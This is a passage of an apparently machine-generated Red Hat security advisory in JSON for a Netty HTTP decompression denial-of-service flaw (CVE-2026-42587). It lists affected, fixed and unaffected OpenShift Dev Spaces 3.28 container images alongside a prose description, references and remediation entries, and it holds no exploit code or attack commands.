"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477220"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty. A remote attacker can bypass the configured decompression limit in the HttpContentDecompressor by sending a specially crafted compressed payload using Brotli (br), Zstandard (zstd), or Snappy content encodings. This can lead to unbounded memory allocation, resulting in an out-of-memory Denial of Service (DoS) for the affected system.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: io.netty/netty-codec-http: io.netty/netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important denial of service vulnerability in Netty\u0027s HTTP content decompression. A remote attacker can exploit this flaw by sending specially crafted compressed payloads using Brotli, Zstandard, or Snappy encodings, bypassing configured decompression limits. This leads to unbounded memory allocation, potentially causing an out-of-memory condition and rendering affected Red Hat systems unavailable.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x"
],
"known_not_affected": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42587"
},
{
"category": "external",
"summary": "RHBZ#2477220",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477220"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42587",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42587"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv",
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
}
],
"release_date": "2026-05-13T18:22:21.699000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T19:42:14+00:00",
"details": "Before applying this update, make sure all previously released errata relevant to your system have been applied.\nFor details on how to apply this update, refer to:\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:25123"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
